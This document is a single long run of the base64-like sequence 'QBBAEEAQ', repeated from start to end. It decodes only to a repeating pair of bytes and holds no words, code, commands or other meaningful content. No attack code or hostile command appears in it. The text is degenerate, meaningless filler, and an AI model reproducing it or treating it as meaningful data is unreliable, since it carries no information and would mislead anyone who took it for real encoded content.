QBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEA